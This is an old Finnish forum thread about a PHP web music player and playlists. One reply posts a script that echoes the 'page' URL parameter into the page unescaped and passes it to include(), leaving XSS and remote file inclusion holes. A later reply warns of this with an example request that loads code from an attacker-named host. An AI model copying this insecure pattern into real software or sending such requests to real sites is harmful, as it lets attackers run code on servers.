Kirjautuminen

Haku

Tehtävät

Keskustelu: Nettisivujen teko: Musiikkisoitin

Sivun loppuun

Rocceri [23.07.2009 16:41:48]

#

Heippa

Pitää tässä vielä kysyä, että jos olisi yhdessä tiedostossa lista kaikista kappaleisa (nimi|sijainti), niin miten saisin PHP:llä niin, että kun yksi kappalee on soitettu kokonaan, niin seuraava käynnistyisi? Se on kiusannut monia kuukausia minua, että miten sellainen onnistuu.

jo123 [23.07.2009 17:28:52]

#

Ei onnistu PHP:llä. PHP on palvelinpään scriptikieli, joten tuon tyyppisen asian toteuttamiseen tarvitaan jotain muuta kieltä php:een lisäksi.

Chiman [23.07.2009 17:53:40]

#

Tuo voi onnistua, jos PHP pyörii samalla koneella ja jos PHP-skripti käynnistää soittimen sopivilla komentorivioptioilla. Riippuu soittimesta, onko tuo mahdollista.

Edit: Tämä kysymys on Nettisivut ja -ohjelmointi -alueella, joten jos netin välityksellä moista haluttiin, niin se ei onnistu :)

Rocceri [23.07.2009 18:21:30]

#

Milläs tämä sitten pitäisi tehdä?

Onnistuuko sitten PHP:llä, jos myös kappaleiden pituudet ovat merkitty ylös? Näin ainakin periaattessa osaisin sen tehdä, mutta en tiedä toimiiko se myös.

Grez [23.07.2009 18:52:04]

#

Ensin miettisin sen konseptin, että miten nettisivua käyttäen käynnistetään kappaleita. Sen jälkeen kun tuo on hanskassa, niin toteuttaminen PHP:llä on pala kakkua.

Eli voisi ajatella, että jos kappale on upotettuna sivuun (vaikka taustamusiikiksi), ja tiedät kappaleen pituuden, niin ei muuta kuin refresh kappaleen pituuden kuluttua seuraavan kappaleen sisältävään sivuun.

tsuriga [23.07.2009 21:00:43]

#

http://www.longtailvideo.com/players/jw-flv-player/

Blaze [23.07.2009 21:03:11]

#

Ettet nyt yritä tehä jotain, mikä onnistuis paremmin olemassaolevilla työkaluilla? Tutustu vaikkapa MPD:hen ja sille saatavissa oleviin veppiklientteihin

LaNu [24.07.2009 10:16:14]

#

Rocceri kirjoitti:

Milläs tämä sitten pitäisi tehdä?

Kurkkaa tuonne: http://flash-mp3-player.net/

Ei ihan selvinnyt mitä yrität, mutta tuolla voi ainakin soittaa mp3-soittolistaa nettisivuilla. Tietty vaatii flashin.

peg [24.07.2009 23:02:07]

#

Tällaisen olen joskus tehnyt jos oikein ymmärsin mitä haet.
mp3 tiedostot c:/musiikki/

glob.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fi" lang="fi"><head>
	<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
	<style type="text/css">
	.soitin {
	position:fixed; top:50px; left:10px; z-index:1; width:320px; height:120px;
	}
	.lista {
	position:absolute; top:10px; left:350px; z-index:3; width:720px; height:120px;
	}
	</style>

<?php $linkki = $_GET['page'];
$hae = $_GET['pg'];

$haku = strip_tags($hae);
if(isset($_POST["pg"])) {
   $haku .= $_POST["pg"];
}
?>


<div class="soitin">
<form action="" method="get">

<input type="text" name="pg" value="<? echo $haku ?>"><input type="submit" value="Etsi">

</form>
<pre>Soitetaan -> </pre><? echo $linkki ?> <br><br>

<object id="mediaplayer1" width="280" height="140" classid="CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95">
    <param value="<?php echo $linkki ?>" name="Filename"/>
    <param value="true" name="AutoStart"/>
    <param value="True" name="ShowControls"/>
    <param value="true" name="ShowStatusBar"/>
    <param value="true" name="ShowDisplay"/>
    <param value="True" name="AutoRewind"/>

    <embed width="280" height="140"
    autorewind="1"
    showdisplay="1"
showstatusbar="1"
showcontrols="1"
autostart="1"
EnableContextMenu="1"
ShowGotoBar="1"
src="<?php echo $linkki ?>"
pluginspage="http://www.microsoft.com/Windows/Downloads/Contents/MediaPlayer/" type="application/x-mplayer2"/>
</object>
<br>
<?php

   foreach (glob('*.m3u') as $listat) {
   $listaa .=("<a href='?page=$listat'> $listat</a><br>");
   }
   echo $listaa;

?>
</div>

<div class="lista">

<br>
<pre>
<?php
	echo $linkki, '<br>';
		#     @include ($linkki);
	?><br><br><?

	if ($haku =='') { $haku = ('ääää'); }

	foreach (glob('C:/musiikki/*'.$haku.'*.mp3') as $fileet)

	$ulos .= ("<a href='?pg=$haku&page=$fileet'>$fileet</a><br>");

	echo $ulos;

	$ehto = substr($linkki, -4, 4);			# Jos $linkki = .m3u niin tulostetaan lista $linkistä.
	if ($ehto == '.m3u') include $linkki;

?>
<br><br>
</div>

esimerkki m3u tiedostosta
hector.m3u

C:/musiikki/Hector_-_Lumi_Teki_Enkelin_Eteiseen.mp3
C:/musiikki/Hector_-_Mandoliinimies.mp3
C:/musiikki/Hector_-_Olen_Hautausmaa.mp3
C:/musiikki/Hector_-_Olet_Lehdeton_Puu.mp3
C:/musiikki/Hector_-_Perjantai_On_Mielessain.mp3
C:/musiikki/Hector_-_Susanna_Haavisto_-_Kanssasi_on_Hyva_Olla.mp3
C:/musiikki/Hector_-_Yksinainen_Tinasotamies.mp3

Contraband [01.08.2009 00:16:53]

#

Vaan mitäpä voikaan tapahtua, jos pegin skriptiä kutsuu alla kuvatulla tavalla?

glob.php?page=http://www.krakkeri.com/pahakoodi.m3u

(URL-enkoodaus jätetty pois, jotta esimerkki on helpompi ymmärtää)


Sivun alkuun

Vastaus

Aihe on jo aika vanha, joten et voi enää vastata siihen.

Tietoa sivustosta